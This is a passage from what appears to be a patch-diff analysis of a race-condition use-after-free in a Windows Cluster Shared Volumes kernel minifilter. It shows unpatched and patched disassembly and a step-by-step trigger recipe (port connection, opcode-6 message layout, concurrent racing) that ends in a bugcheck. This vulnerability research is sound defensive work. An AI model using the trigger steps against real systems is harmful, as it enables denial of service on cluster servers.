&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeEnterCriticalRegion&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EXCLUSIVE&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVEncryption&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0013406&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013401&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;??&lt;/span&gt;&lt;span class="n"&gt;_GEncryption&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;QEAAPEAXI&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="n"&gt;Z&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frees&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001340D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVEncryption&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013417&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExReleaseResourceLite&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013423&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeLeaveCriticalRegion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Unpatched — region 2: unlocked read/update of &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013617&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001361A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;ReplayCacheManagerObject&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAV&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013621&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001363F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013645&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;interlocked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;possibly&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;freed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The old &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; is freed under the exclusive lock at &lt;code&gt;0x1C001359F&lt;/code&gt; (&lt;code&gt;ExFreePoolWithTag&lt;/code&gt;), which region 2 can race.&lt;/p&gt;
&lt;h3&gt;Patched — shared lock added around region 1&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001333A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVRWLock&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013344&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeEnterCriticalRegion&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013356&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013362&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVEncryption&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001336E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013376&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013381&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133A4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExReleaseResourceLite&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;release&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00133B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched — shared lock added around region 2&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013641&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAVRWLock&lt;/span&gt;&lt;span class="p"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;EA&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013648&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeEnterCriticalRegion&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013659&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013668&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:?&lt;/span&gt;&lt;span class="n"&gt;ReplayCacheManagerObject&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;@3&lt;/span&gt;&lt;span class="n"&gt;PEAV&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001366F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001368D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0013693&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00136DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExReleaseResourceLite&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;release&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;
&lt;span class="mo"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00136E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Session Establishment:&lt;/strong&gt; Obtain a handle to the minifilter communication port via &lt;code&gt;FilterConnectCommunicationPort&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload Formatting:&lt;/strong&gt; Construct a message of at least &lt;code&gt;0x14&lt;/code&gt; bytes. The first DWORD is the opcode and must equal &lt;code&gt;6&lt;/code&gt;. Starting at offset &lt;code&gt;+0x4&lt;/code&gt; the callback passes the buffer to &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;, which reads its fields at &lt;code&gt;+0x8&lt;/code&gt; (the size compared against &lt;code&gt;EncryptionManager+0x20&lt;/code&gt;) and &lt;code&gt;+0xC&lt;/code&gt; (the bytes passed to &lt;code&gt;memcmp&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Execution:&lt;/strong&gt; Issue concurrent opcode-6 messages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reader interleaving:&lt;/strong&gt; A message whose size/data match the current &lt;code&gt;EncryptionManager&lt;/code&gt; keeps execution on the unlocked read path (region 1), and the follow-on sequence-number update (region 2) reads/writes &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; unlocked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Writer interleaving:&lt;/strong&gt; A message whose size or data mismatch drives the allocation/replace path, which acquires the exclusive lock and frees the old object before installing a new one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Timing:&lt;/strong&gt; The writer must free the object during the window between the reader capturing the global pointer and dereferencing it (region 1) or performing the interlocked update (region 2).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; Dereferencing or writing the freed PagedPool object can raise an unhandled kernel exception (for example a page fault when the freed page is unmapped or reclaimed), leading to a bugcheck.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Impact&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel use-after-free on PagedPool objects (tag &lt;code&gt;0x41435643&lt;/code&gt;). Region 1 is a stale &lt;strong&gt;read&lt;/strong&gt; of a freed &lt;code&gt;Encryption&lt;/code&gt; object (fields &lt;code&gt;+0x20&lt;/code&gt; and &lt;code&gt;+0x18&lt;/code&gt;, with the &lt;code&gt;+0x18&lt;/code&gt; value used as a buffer pointer for &lt;code&gt;memcmp&lt;/code&gt;). Region 2 is a stale &lt;strong&gt;write&lt;/strong&gt; (&lt;code&gt;xchg&lt;/code&gt; and &lt;code&gt;lock cmpxchg&lt;/code&gt;) into a freed &lt;code&gt;ReplayCacheManager&lt;/code&gt; object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not an information-disclosure channel:&lt;/strong&gt; The &lt;code&gt;memcmp&lt;/code&gt; on the region-1 path returns only a boolean equal/not-equal result and does not return the compared memory contents to the caller. The unlocked reads do not surface object bytes to user mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable impact:&lt;/strong&gt; Memory corruption (a stale read of, and stale interlocked writes into, freed pool). The demonstrable consequence is kernel instability / bugcheck (denial of service). Turning this race into privilege escalation would require reclaiming the freed allocation with controlled contents within the race window; that further exploitation is not demonstrated here and depends on pool state and timing not established from the static diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability caveats:&lt;/strong&gt; The trigger assumes a caller can open and send messages to the driver's communication port; the port's security descriptor and the driver's presence (it loads on Cluster Shared Volumes nodes) determine who can reach the code. These should be confirmed on the target configuration.&lt;/li&gt;
